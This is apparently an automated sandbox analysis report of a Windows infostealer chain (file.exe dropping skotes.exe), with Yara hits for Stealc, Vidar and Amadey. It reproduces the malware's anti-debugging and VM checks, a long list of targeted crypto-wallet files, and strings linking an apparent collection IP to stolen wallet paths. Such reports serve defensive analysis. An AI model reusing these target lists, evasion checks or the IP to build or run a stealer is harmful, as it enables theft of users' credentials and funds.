Source: file.exe, file.exe, 00000000.00000002.2683383739.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, DocumentsIEBFHCAKFB.exe, DocumentsIEBFHCAKFB.exe, 0000001D.00000002.2708953272.00000000001FB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000001E.00000002.2731551032.00000000002CB000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: IDHIDBAE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: IDHIDBAE.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: IDHIDBAE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: IDHIDBAE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688121262.00000000013C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IDHIDBAE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: IDHIDBAE.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: IDHIDBAE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: IDHIDBAE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: IDHIDBAE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DocumentsIEBFHCAKFB.exe, 0000001D.00000003.2680626101.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: IDHIDBAE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: IDHIDBAE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: IDHIDBAE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: IDHIDBAE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: IDHIDBAE.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: IDHIDBAE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: IDHIDBAE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: IDHIDBAE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2683383739.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp, DocumentsIEBFHCAKFB.exe, 0000001D.00000002.2708953272.00000000001FB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001E.00000002.2731551032.00000000002CB000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: IDHIDBAE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: IDHIDBAE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIEBFHCAKFB.exe

Code function: 29_2_04E10699 rdtsc

29_2_04E10699

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9D5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C973480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C9AB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C9AB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEBFHCAKFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEBFHCAKFB.exe "C:\Users\user\DocumentsIEBFHCAKFB.exe"
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2683383739.0000000000C9E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9AB341 cpuid

0_2_6C9AB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9735A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9735A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 29.2.DocumentsIEBFHCAKFB.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.skotes.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2668437916.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2731458973.00000000000E1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2708832935.0000000000011000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2691182689.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2681153036.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171878239.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7372, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Exodus\window-state.json
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\.
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Exodus\exodus.conf.json*o$+
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Exodus\window-state.json
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Exodus\window-state.json
